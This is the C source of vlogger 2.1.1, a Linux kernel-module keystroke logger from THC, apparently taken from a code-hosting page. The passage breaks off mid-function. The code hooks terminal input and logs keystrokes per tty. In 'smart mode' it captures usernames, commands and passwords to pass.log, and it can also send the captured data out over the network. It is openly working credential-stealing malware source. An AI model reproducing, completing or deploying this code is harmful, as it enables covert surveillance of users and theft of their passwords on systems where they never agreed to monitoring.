📄 vlogger.c
字号:
/* * vlogger 2.1.1 * * Copyright (C) 2002-2003 rd <rd@thc.org> * * Please check http://www.thc.org for update * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * */#ifndef __KERNEL_SYSCALLS__#define __KERNEL_SYSCALLS__#endif#include <net/tcp.h>#include <net/udp.h>#include <linux/version.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/sched.h>#include <linux/smp_lock.h>#include <linux/unistd.h>#include <linux/string.h>#include <linux/file.h>#include <linux/interrupt.h>#include <linux/proc_fs.h>#include <linux/spinlock.h>#include <linux/netdevice.h>#include <linux/etherdevice.h>#include <linux/inet.h>#include <linux/tty.h>#include <asm/uaccess.h>#include <asm/checksum.h>#include <asm/processor.h>#include <asm/unaligned.h>#include <asm/uaccess.h>#include <asm/errno.h>#include <asm/io.h>#include "vlogger.h"int (*old_vc_open) (struct tty_struct * tty, struct file * filp);int (*old_serial_open) (struct tty_struct * tty, struct file * filp);int (*old_pty_open) (struct tty_struct * tty, struct file * filp);int errno;struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };int log_mode = 0;int log_method = 0;char *logdir = NULL;char *magic_pass = NULL;int timezone;static spinlock_t vlogger_lock = SPIN_LOCK_UNLOCKED;/* netlog global vars */static __u16 source_port, dest_port;static __u32 saddr, daddr;static unsigned int offset;static spinlock_t sequence_lock = SPIN_LOCK_UNLOCKED;/* * Convert from epoch to date */intepoch2time(const time_t * t, long int offset, struct vtm *tp){ static const unsigned short int mon_yday[2][13] = { /* Normal years. */ {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365}, /* Leap years. */ {0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366} }; long int days, rem, y; const unsigned short int *ip; days = *t / SECS_PER_DAY; rem = *t % SECS_PER_DAY; rem += offset; while (rem < 0) { rem += SECS_PER_DAY; --days; } while (rem >= SECS_PER_DAY) { rem -= SECS_PER_DAY; ++days; } tp->tm_hour = rem / SECS_PER_HOUR; rem %= SECS_PER_HOUR; tp->tm_min = rem / 60; tp->tm_sec = rem % 60; y = 1970; while (days < 0 || days >= (isleap(y) ? 366 : 365)) { long int yg = y + days / 365 - (days % 365 < 0); days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1) - LEAPS_THRU_END_OF(y - 1)); y = yg; } tp->tm_year = y - 1900; if (tp->tm_year != y - 1900) return 0; ip = mon_yday[isleap(y)]; for (y = 11; days < (long int) ip[y]; --y) continue; days -= ip[y]; tp->tm_mon = y; tp->tm_mday = days + 1; return 1;}/* * Get current date & time */voidget_time(char *date_time){ struct timeval tv; time_t t; struct vtm tm; do_gettimeofday(&tv); t = (time_t) tv.tv_sec; epoch2time(&t, timezone, &tm); sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec);}/* * Get task structure from pgrp id */inline struct task_struct *get_task(pid_t pgrp){ struct task_struct *task = current; do { if (task->pgrp == pgrp) { return task; } task = NEXT_TASK(task); } while (task != current); return NULL;}intwrite_to_file(char *logfile, char *buf, int size){ int ret = 0; struct file *f = NULL; lock_kernel(); BEGIN_KMEM; f = filp_open(logfile, O_CREAT | O_APPEND, 00600); if (IS_ERR(f)) { DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile); ret = -1; } else { if (WRITABLE(f)) _write(f, buf, size); else { DPRINT("%s does not have a write method\n", logfile); ret = -1; } if ((ret = filp_close(f, NULL))) DPRINT("Error %d closing %s\n", -ret, logfile); } END_KMEM; unlock_kernel(); return ret;}/* * Logging keystrokes */voidlogging(struct tty_struct *tty, struct tlogger *tmp, int cont){ int i; char logfile[256]; char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256]; char date_time[24]; struct task_struct *task; if (log_mode == VK_NORMAL) return; if ((log_mode == VK_SMARTMODE) && (!tmp->lastpos || cont)) return; task = get_task(tty->pgrp); for (i = 0; i < tmp->lastpos; i++) if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A; if (!cont) tmp->buf[tmp->lastpos++] = 0x0A; tmp->buf[tmp->lastpos] = 0; if (log_mode == VK_DUMBMODE) { snprintf(logfile, sizeof(logfile) - 1, "%s/%s%d", logdir, TTY_NAME(tty), TTY_NUMBER(tty)); BEGIN_ROOT if (!tmp->status) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo) - 1, "<%s uid=%d %s> %s", date_time, task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo) - 1, "<%s> %s", date_time, tmp->buf); if (log_method == 0) write_to_file(logfile, loginfo, strlen(loginfo)); else net_send_msg(tty, loginfo, strlen(loginfo)); } else { if (log_method == 0) write_to_file(logfile, tmp->buf, tmp->lastpos); else net_send_msg(tty, tmp->buf, tmp->lastpos); } END_ROOT#ifdef DEBUG if (task) DPRINT("%s/%d uid=%d %s: %s", TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else DPRINT("%s", tmp->buf);#endif tmp->status = cont; } else { /* * Logging USER/CMD and PASS in SMART_MODE */ snprintf(logfile, sizeof(logfile) - 1, "%s/pass.log", logdir); BEGIN_ROOT if (!tmp->pass) { get_time(date_time); if (task) snprintf(loginfo, sizeof(loginfo) - 1, "\n[%s tty=%s%d uid=%d %s]\n" "USER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), task->uid, task->comm, tmp->buf); else snprintf(loginfo, sizeof(loginfo) - 1, "\n[%s tty=%s%d]\nUSER/CMD %s", date_time, TTY_NAME(tty), TTY_NUMBER(tty), tmp->buf); if (log_method == 0) write_to_file(logfile, loginfo, strlen(loginfo)); else net_send_msg(tty, loginfo, strlen(loginfo)); } else { snprintf(loginfo, sizeof(loginfo) - 1, "PASS %s", tmp->buf); if (log_method == 0) write_to_file(logfile, loginfo, strlen(loginfo)); else net_send_msg(tty, loginfo, strlen(loginfo)); } END_ROOT#ifdef DEBUG if (!tmp->pass) DPRINT("USER/CMD %s", tmp->buf); else DPRINT("PASS %s", tmp->buf);#endif } if (!cont) tmp->buf[--tmp->lastpos] = 0;}static inline voidreset_all_buf(void){ int i = 0; for (i = 0; i < MAX_TTY_CON + MAX_PTS_CON; i++) if (ttys[i] != NULL) resetbuf(ttys[i]);}voidspecial_key(struct tlogger *tmp, const unsigned char *cp, int count){ switch (count) { case 2: switch (cp[1]) { case '\'': append_c(tmp, "[ALT-\']", 7); break; case ',': append_c(tmp, "[ALT-,]", 7); break; case '-': append_c(tmp, "[ALT--]", 7); break; case '.': append_c(tmp, "[ALT-.]", 7); break; case '/': append_c(tmp, "[ALT-/]", 7); break; case '0': append_c(tmp, "[ALT-0]", 7); break; case '1': append_c(tmp, "[ALT-1]", 7); break; case '2': append_c(tmp, "[ALT-2]", 7); break; case '3': append_c(tmp, "[ALT-3]", 7); break; case '4': append_c(tmp, "[ALT-4]", 7); break; case '5': append_c(tmp, "[ALT-5]", 7); break; case '6': append_c(tmp, "[ALT-6]", 7); break; case '7': append_c(tmp, "[ALT-7]", 7); break; case '8': append_c(tmp, "[ALT-8]", 7); break; case '9': append_c(tmp, "[ALT-9]", 7); break; case ';': append_c(tmp, "[ALT-;]", 7); break; case '=': append_c(tmp, "[ALT-=]", 7); break; case '[': append_c(tmp, "[ALT-[]", 7); break; case '\\': append_c(tmp, "[ALT-\\]", 7); break; case ']': append_c(tmp, "[ALT-]]", 7); break; case '`': append_c(tmp, "[ALT-`]", 7); break; case 'a': append_c(tmp, "[ALT-A]", 7); break; case 'b': append_c(tmp, "[ALT-B]", 7); break; case 'c': append_c(tmp, "[ALT-C]", 7); break; case 'd': append_c(tmp, "[ALT-D]", 7); break; case 'e': append_c(tmp, "[ALT-E]", 7); break; case 'f': append_c(tmp, "[ALT-F]", 7); break; case 'g': append_c(tmp, "[ALT-G]", 7); break; case 'h': append_c(tmp, "[ALT-H]", 7); break; case 'i': append_c(tmp, "[ALT-I]", 7); break; case 'j': append_c(tmp, "[ALT-J]", 7); break; case 'k': append_c(tmp, "[ALT-K]", 7); break; case 'l': append_c(tmp, "[ALT-L]", 7); break; case 'm': append_c(tmp, "[ALT-M]", 7); break; case 'n': append_c(tmp, "[ALT-N]", 7); break; case 'o': append_c(tmp, "[ALT-O]", 7); break; case 'p': append_c(tmp, "[ALT-P]", 7); break; case 'q': append_c(tmp, "[ALT-Q]", 7); break; case 'r': append_c(tmp, "[ALT-R]", 7); break; case 's': append_c(tmp, "[ALT-S]", 7); break; case 't': append_c(tmp, "[ALT-T]", 7); break; case 'u': append_c(tmp, "[ALT-U]", 7); break; case 'v': append_c(tmp, "[ALT-V]", 7); break; case 'x': append_c(tmp, "[ALT-X]", 7); break; case 'y': append_c(tmp, "[ALT-Y]", 7); break; case 'z': append_c(tmp, "[ALT-Z]", 7); break; } break; case 3: switch (cp[2]) { case 68: // Left: 27 91 68 append_c(tmp, "[LEFT]", 6); break; case 67: // Right: 27 91 67 append_c(tmp, "[RIGHT]", 7); break; case 65: // Up: 27 91 65 append_c(tmp, "[UP]", 4); break; case 66: // Down: 27 91 66 append_c(tmp, "[DOWN]", 6); break; case 80: // Pause/Break: 27 91 80 append_c(tmp, "[BREAK]", 7); break; } break; case 4: switch (cp[3]) { case 65: // F1: 27 91 91 65 append_c(tmp, "[F1]", 4); break; case 66: // F2: 27 91 91 66 append_c(tmp, "[F2]", 4); break; case 67: // F3: 27 91 91 67 append_c(tmp, "[F3]", 4); break; case 68: // F4: 27 91 91 68 append_c(tmp, "[F4]", 4); break; case 69: // F5: 27 91 91 69 append_c(tmp, "[F5]", 4); break; case 126: switch (cp[2]) { case 53: // PgUp: 27 91 53 126 append_c(tmp, "[PgUP]", 6); break; case 54: // PgDown: 27 91 54 126 append_c(tmp, "[PgDOWN]", 8); break; case 49: // Home: 27 91 49 126 append_c(tmp, "[HOME]", 6); break; case 52: // End: 27 91 52 126 append_c(tmp, "[END]", 5); break; case 50: // Insert: 27 91 50 126 append_c(tmp, "[INS]", 5); break; case 51: // Delete: 27 91 51 126 append_c(tmp, "[DEL]", 5); break; } break; } break; case 5: if (cp[2] == 50) switch (cp[3]) { case 48: // F9: 27 91 50 48 126 append_c(tmp, "[F9]", 4); break; case 49: // F10: 27 91 50 49 126 append_c(tmp, "[F10]", 5); break; case 51: // F11: 27 91 50 51 126 append_c(tmp, "[F11]", 5); break; case 52: // F12: 27 91 50 52 126 append_c(tmp, "[F12]", 5); break; case 53: // Shift-F1: 27 91 50 53 126 append_c(tmp, "[SH-F1]", 7); break; case 54: // Shift-F2: 27 91 50 54 126 append_c(tmp, "[SH-F2]", 7); break; case 56: // Shift-F3: 27 91 50 56 126 append_c(tmp, "[SH-F3]", 7); break; case 57: // Shift-F4: 27 91 50 57 126 append_c(tmp, "[SH-F4]", 7); break; } else switch (cp[3]) { case 55: // F6: 27 91 49 55 126 append_c(tmp, "[F6]", 4); break; case 56: // F7: 27 91 49 56 126 append_c(tmp, "[F7]", 4); break; case 57: // F8: 27 91 49 57 126 append_c(tmp, "[F8]", 4); break; case 49: // Shift-F5: 27 91 51 49 126 append_c(tmp, "[SH-F5]", 7); break; case 50: // Shift-F6: 27 91 51 50 126 append_c(tmp, "[SH-F6]", 7); break; case 51: // Shift-F7: 27 91 51 51 126 append_c(tmp, "[SH-F7]", 7); break; case 52: // Shift-F8: 27 91 51 52 126 append_c(tmp, "[SH-F8]", 7); break; }; break; default: // Unknow break; }}/* * Called whenever user press a key */voidvlogger_process(struct tty_struct *tty, const unsigned char *cp, int count){ struct tlogger *tmp = ttys[TTY_INDEX(tty)]; if (!tmp) { unsigned long flags; DPRINT("erm .. unknow error???\n"); spin_lock_irqsave(&vlogger_lock, flags); init_tty(tty, TTY_INDEX(tty)); spin_unlock_irqrestore(&vlogger_lock, flags); tmp = ttys[TTY_INDEX(tty)]; if (!tmp) return; } if (log_mode == VK_SMARTMODE) { if (tmp->status && !IS_PASSWD(tty)) { resetbuf(tmp); } if (!tmp->pass && IS_PASSWD(tty)) { logging(tty, tmp, 0); resetbuf(tmp); } if (tmp->pass && !IS_PASSWD(tty)) { if (!tmp->lastpos) logging(tty, tmp, 0); resetbuf(tmp); } tmp->pass = IS_PASSWD(tty); tmp->status = 0; }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -